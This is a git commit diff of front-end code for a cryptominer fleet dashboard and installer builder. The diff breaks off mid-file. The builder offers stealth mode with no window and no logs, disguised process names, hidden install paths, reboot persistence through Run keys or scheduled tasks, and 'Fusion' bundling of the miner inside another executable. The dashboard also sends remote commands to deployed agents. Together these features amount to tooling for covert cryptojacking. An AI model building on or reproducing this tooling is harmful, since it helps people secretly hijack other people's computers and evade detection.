Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -1,25 +1,63 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import '../components/Fleet/FleetPanels.css';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
useEffect(() => {
api.listAgents()
.then(setAgents)
.catch(console.error)
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
.finally(() => setLoading(false));
}, []);
useEffect(() => {
if (isConnected) {
setAgents(liveAgents);
if (selectedAgent) {
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) setSelectedAgent(updated);
}
}
}, [liveAgents, isConnected, selectedAgent?.id]);
useEffect(() => {
if (selectedAgent && agentLogs[selectedAgent.id]) {
setLogContent(agentLogs[selectedAgent.id]);
}
}, [selectedAgent?.id, agentLogs]);
const refreshLog = async (refresh = false) => {
if (!selectedAgent) return;
setLogLoading(true);
try {
const res = await api.getAgentLog(selectedAgent.id, refresh);
setLogContent(res.content || '');
} catch (err) {
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
} finally {
setLogLoading(false);
}
};
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
setLogContent('');
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
@@ -39,6 +77,12 @@ export default function AgentsPage() {
<span className="header-count font-tech">{agents.length} NODES</span>
</header>
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
</NeonCard>
)}
{loading ? (
<NeonCard accent="brass" className="empty-state">
<p>Scanning network...</p>
@@ -76,6 +120,7 @@ export default function AgentsPage() {
<span>v{agent.version || '?'}</span>
<span>{agent.cpu_cores} cores</span>
</div>
<AgentRemoteActions agent={agent} compact />
</div>
))}
</div>
@@ -171,6 +216,22 @@ export default function AgentsPage() {
/>
</div>
)}
<div className="detail-section">
<h3>Remote Control</h3>
<AgentRemoteActions
agent={selectedAgent}
onCommandSent={(action) => {
if (action === 'get_log') refreshLog(true);
}}
/>
</div>
<div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>
</NeonCard>
)}
</div>

View File

@@ -1,50 +1,23 @@
import { useState, useEffect } from 'react';
import { useState, useEffect, useRef, useMemo } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const d = config.default_agent_config;
return {
worker_name: '',
server_url: serverInfo.suggested_url,
wallet: config.wallet.address,
threads: d.threads,
thread_mode: d.thread_mode || 'percent',
thread_percent: d.thread_percent || 75,
cpu_priority: d.cpu_priority,
mining_mode: d.mining_mode,
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
silent_mode: config.background.silent_mode,
run_as: config.background.run_as,
auto_start: config.background.auto_start,
persistence: config.background.auto_start,
process_name: d.process_name || '',
max_cpu_usage_pct: d.max_cpu_usage_pct,
max_memory_percent: d.max_memory_percent || 70,
min_free_ram_mb: d.min_free_ram_mb,
idle_threshold_pct: d.idle_threshold_pct,
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: d.adapt_to_hardware ?? true,
self_healing: d.self_healing ?? true,
file_logging: d.file_logging ?? true,
stealth_mode: d.stealth_mode ?? false,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password,
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
};
return forgeDefaultsFromServer(config, serverInfo);
}
export default function BuilderPage() {
@@ -56,13 +29,41 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
try {
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
return info;
} finally {
setRefreshingEndpoints(false);
}
};
// Blueprint state
const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
const [showBlueprints, setShowBlueprints] = useState(false);
const [blueprintName, setBlueprintName] = useState('');
const [blueprintMsg, setBlueprintMsg] = useState('');
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([config, serverInfo]) => setForm(defaultsFromConfig(config, serverInfo)))
.then(([config, info]) => {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
setForm(defaultsFromConfig(config, info));
})
.catch((err) => {
console.error(err);
setError('Failed to load server defaults from Settings');
setError('Failed to load server info — is the control server running?');
})
.finally(() => setLoadingDefaults(false));
}, []);
@@ -77,30 +78,136 @@ export default function BuilderPage() {
}
};
// Blueprint: save current form as a named blueprint
const handleSaveBlueprint = async () => {
if (!form) return;
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
}
};
// Blueprint: load blueprints list and show picker
const handleLoadBlueprint = async () => {
try {
setLoadingBlueprints(true);
const list = await api.listBlueprints();
setBlueprints(list);
setShowBlueprints(true);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
} finally {
setLoadingBlueprints(false);
}
};
// Blueprint: apply a selected blueprint to the form
const handleApplyBlueprint = async (name: string) => {
try {
const data = await api.getBlueprint(name);
setCompareBlueprint(data as Record<string, unknown>);
// Merge loaded data into form, preserving any fields not in the blueprint
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setShowBlueprints(false);
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
}
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setError('');
setLastBuild(null);
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Re-forge preflight failed — adjust settings and forge manually.');
return;
}
setBuilding(true);
try {
const result = await api.buildAgent(merged, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
setLastBuild(result);
loadRecentBuilds();
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
} catch (err: any) {
setError(err.message || 'Re-forge failed');
} finally {
setBuilding(false);
}
};
const blueprintDiffRows = useMemo(() => {
if (!form || !compareBlueprint) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [form, compareBlueprint]);
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
if (!confirm(`Delete blueprint "${name}"?`)) return;
try {
await api.deleteBlueprint(name);
setBlueprints((prev) => prev.filter((b) => b.name !== name));
} catch (err: any) {
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
}
};
// Blueprint: import from a local .json file
const handleImportBlueprintFile = () => {
fileInputRef.current?.click();
};
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch {
setBlueprintMsg('❌ Invalid JSON file');
}
};
reader.readAsText(file);
// Reset input so same file can be re-selected
e.target.value = '';
};
// Blueprint: export current form as a downloadable .json file
const handleExportBlueprintFile = () => {
if (!form) return;
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
a.click();
URL.revokeObjectURL(url);
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
if (!form.worker_name.trim()) {
setError('Worker name is required');
return;
}
if (!form.server_url.trim()) {
setError('Server URL is required');
return;
}
if (!form.wallet.trim()) {
setError('Wallet address is required');
return;
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
setError('Custom install base path is required when Install Base is Custom');
return;
}
if (form.fusion_enabled && !fusionPrepFile) {
setError('Fusion requires your prep.exe file');
const checks = runForgePreflight(form, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Preflight failed — fix errors in the checklist below before forging.');
return;
}
@@ -119,15 +226,32 @@ export default function BuilderPage() {
}
};
const updateField = (field: keyof BuildRequest, value: any) => {
setForm((prev) => (prev ? { ...prev, [field]: value } : prev));
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
const liveNotices = useMemo(
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
if (loadingDefaults || !form) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Miner Builder</h1></div>
<div className="card"><p>Loading defaults from Settings...</p></div>
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
</div>
);
}
@@ -140,22 +264,95 @@ export default function BuilderPage() {
process_name: form.process_name,
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
return (
<div className="page fade-in command-deck">
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
ref={fileInputRef}
style={{ display: 'none' }}
accept=".json,application/json"
onChange={handleFileSelected}
/>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
<p className="page-subtitle">Craft fused or standalone miners for your LAN fleet.</p>
<p className="page-subtitle">
Every miner option lives here install path, stealth, Fusion, persistence. Calibrate tab is server-only.
</p>
</div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
💾 Save Blueprint
</button>
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
📂 Load Blueprint
</button>
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
Export .json
</button>
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
📥 Import .json
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
</header>
{/* Blueprint status message */}
{blueprintMsg && (
<div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
{blueprintMsg}
</div>
)}
{/* Blueprint picker panel */}
{showBlueprints && (
<div className="card" style={{ marginBottom: '16px' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
<h3 style={{ margin: 0 }}>Saved Blueprints</h3>
<button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
</div>
{loadingBlueprints ? (
<p>Loading blueprints...</p>
) : blueprints.length === 0 ? (
<p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
) : (
<div className="builds-list">
{blueprints.map((bp) => (
<div key={bp.name} className="build-item">
<div className="build-item-name">{bp.name}</div>
<div className="build-item-details">
<span>{(bp.size / 1024).toFixed(1)} KB</span>
<span>{new Date(bp.created_at).toLocaleString()}</span>
</div>
<div style={{ display: 'flex', gap: '8px' }}>
<button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
Load
</button>
<button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
Delete
</button>
</div>
</div>
))}
</div>
)}
</div>
)}
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<h2>Setup Cheat Sheet</h2>
<h2>Quick links</h2>
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
Open Field Guide
</Link>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
@@ -167,6 +364,43 @@ export default function BuilderPage() {
</div>
<div className="card builder-form">
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div>
</div>
{liveNotices.length > 0 && (
<div className="forge-live-notices">
<strong className="font-tech">ACTIVE RULES</strong>
<ul>
{liveNotices.map((n) => (
<li key={n}>{n}</li>
))}
</ul>
</div>
)}
<h2>Build Miner Installer</h2>
<p className="form-description">
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
@@ -175,9 +409,16 @@ export default function BuilderPage() {
<form onSubmit={handleSubmit}>
<div className="form-section">
<h3>Identity</h3>
<ForgeSectionHeader
title="Identity"
badge="baked"
description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
/>
<div className="form-group">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<div className="label-row">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<ForgeFieldBadge meta={fieldMeta.worker_name} />
</div>
<input
type="text"
className="input"
@@ -187,16 +428,50 @@ export default function BuilderPage() {
required
/>
</div>
<div className="form-group">
<label className="label">Server URL <HelpTip field="server_url" /></label>
<div className="form-group endpoint-group">
<div className="endpoint-header">
<label className="label">Control Endpoint <HelpTip field="server_url" /></label>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={refreshingEndpoints}
onClick={() => void refreshEndpointInfo()}
>
{refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
</button>
</div>
<input
type="text"
className="input mono"
type="url"
className="input mono endpoint-input"
placeholder={`http://192.168.1.10:${listenPort}`}
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
autoComplete="off"
spellCheck={false}
/>
<FieldHint field="server_url" />
<p className="form-hint endpoint-hint">
Baked into each installer. Change here when this host&apos;s LAN IP changes you do not need to update Calibrate first.
</p>
{endpointCandidates.length > 0 && (
<div className="endpoint-picks">
<span className="endpoint-picks-label font-tech">Quick pick</span>
<div className="endpoint-chips">
{endpointCandidates.map((url) => (
<button
key={url}
type="button"
className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
onClick={() => updateField('server_url', url)}
title="Use this address in the installer"
>
{url}
</button>
))}
</div>
</div>
)}
</div>
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
@@ -208,10 +483,33 @@ export default function BuilderPage() {
required
/>
</div>
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
<ForgeFieldBadge meta={fieldMeta.output_dir} />
</div>
<input
type="text"
className="input mono"
placeholder="exports"
value={(form.output_dir || '') as any}
onChange={(e) => updateField('output_dir' as any, e.target.value)}
/>
<FieldHint field="output_dir" />
<ForgeLockedHint meta={fieldMeta.output_dir} />
<p className="form-hint">
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p>
</div>
</div>
<div className="form-section">
<h3>Pool Configuration</h3>
<ForgeSectionHeader
title="Pool Configuration"
badge="baked"
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
/>
<div className="form-group">
<label className="label">Pool Host</label>
<input
@@ -258,7 +556,11 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Performance & Resources</h3>
<ForgeSectionHeader
title="Performance & Resources"
badge="baked"
description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
/>
<div className="form-row">
<div className="form-group">
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
@@ -268,19 +570,21 @@ export default function BuilderPage() {
</select>
<FieldHint field="thread_mode" />
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
disabled={form.thread_mode === 'fixed'}
disabled={fieldMeta.thread_percent?.disabled}
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
<ForgeLockedHint meta={fieldMeta.thread_percent} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={form.thread_mode !== 'fixed'}
disabled={fieldMeta.threads?.disabled}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
<ForgeLockedHint meta={fieldMeta.threads} />
</div>
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
@@ -325,20 +629,25 @@ export default function BuilderPage() {
</div>
{form.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
disabled={fieldMeta.idle_threshold_pct?.disabled}
value={form.idle_threshold_pct}
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
min={1}
disabled={fieldMeta.idle_duration_minutes?.disabled}
value={form.idle_duration_minutes}
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
@@ -347,20 +656,22 @@ export default function BuilderPage() {
)}
{form.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Start Time</label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_start?.disabled}
value={form.schedule_start}
onChange={(e) => updateField('schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
<label className="label">End Time</label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_end?.disabled}
value={form.schedule_end}
onChange={(e) => updateField('schedule_end', e.target.value)}
/>
@@ -370,11 +681,11 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Install & Process</h3>
<p className="form-description">
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
optionally persists, then starts mining in the background.
</p>
<ForgeSectionHeader
title="Install & Process"
badge="baked"
description="Where the miner installs, how it persists, and how it appears in Task Manager."
/>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
@@ -389,12 +700,14 @@ export default function BuilderPage() {
<FieldHint field="install_base" />
</div>
{form.install_base === 'custom' && (
<div className="form-group">
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
disabled={fieldMeta.install_custom_base?.disabled}
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
<FieldHint field="install_custom_base" />
<ForgeLockedHint meta={fieldMeta.install_custom_base} />
</div>
)}
<div className="form-group">
@@ -409,13 +722,15 @@ export default function BuilderPage() {
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
disabled={fieldMeta.adapt_to_hardware?.disabled}
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
<FieldHint field="adapt_to_hardware" />
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -428,21 +743,19 @@ export default function BuilderPage() {
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
onChange={(e) => {
updateField('stealth_mode', e.target.checked);
if (e.target.checked) updateField('file_logging', false);
}} />
onChange={(e) => updateField('stealth_mode', e.target.checked)} />
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
disabled={form.stealth_mode}
disabled={fieldMeta.file_logging?.disabled}
onChange={(e) => updateField('file_logging', e.target.checked)} />
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
</label>
<ForgeLockedHint meta={fieldMeta.file_logging} />
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
@@ -460,13 +773,15 @@ export default function BuilderPage() {
</select>
<FieldHint field="display_mode" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.persistence}
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
disabled={fieldMeta.persistence?.disabled}
onChange={(e) => updateField('persistence', e.target.checked)} />
<span>Persist after reboot <HelpTip field="persistence" /></span>
</label>
<FieldHint field="persistence" />
<ForgeLockedHint meta={fieldMeta.persistence} />
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
@@ -475,25 +790,29 @@ export default function BuilderPage() {
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
<option value="user">Current User (Run key when persistence on)</option>
<option value="service">Scheduled Task forced persistence</option>
<option value="scheduled">Scheduled Task forced persistence</option>
</select>
<FieldHint field="run_as" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_start}
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
<span>Also register startup entry (same as persistence)</span>
disabled={fieldMeta.auto_start?.disabled}
onChange={(e) => updateField('auto_start', e.target.checked)} />
<span>Also register startup entry (linked to persistence)</span>
</label>
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
</div>
<div className="form-section">
<h3>Fusion (prep + worker)</h3>
<p className="form-description">
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
</p>
<ForgeSectionHeader
title="Fusion (prep + worker)"
badge="baked"
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
@@ -504,8 +823,11 @@ export default function BuilderPage() {
</div>
{form.fusion_enabled && (
<>
<div className="form-group">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
</div>
<input
type="file"
className="input"
@@ -541,15 +863,83 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="AI Autonomy (AI自治)"
badge="baked"
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
</label>
<FieldHint field="ai_enabled" />
</div>
{form.ai_enabled && (
<>
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Ollama Endpoint URL</label>
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
</div>
<input
type="url"
className="input mono"
placeholder="http://localhost:11434"
disabled={fieldMeta.ai_ollama_endpoint?.disabled}
value={form.ai_ollama_endpoint}
onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
/>
<p className="form-hint">
Control server machine not the worker. Default: <code>http://localhost:11434</code>
</p>
</div>
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Ollama Model</label>
<input
type="text"
className="input mono"
placeholder="llama3.2"
disabled={fieldMeta.ai_model?.disabled}
value={form.ai_model}
onChange={(e) => updateField('ai_model', e.target.value)}
/>
<p className="form-hint">
Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
</p>
</div>
</>
)}
</div>
<div className="preflight-panel card">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
<ul className="preflight-list">
{preflightChecks.map((c) => (
<li key={c.id} className={`preflight-item preflight-${c.level}`}>
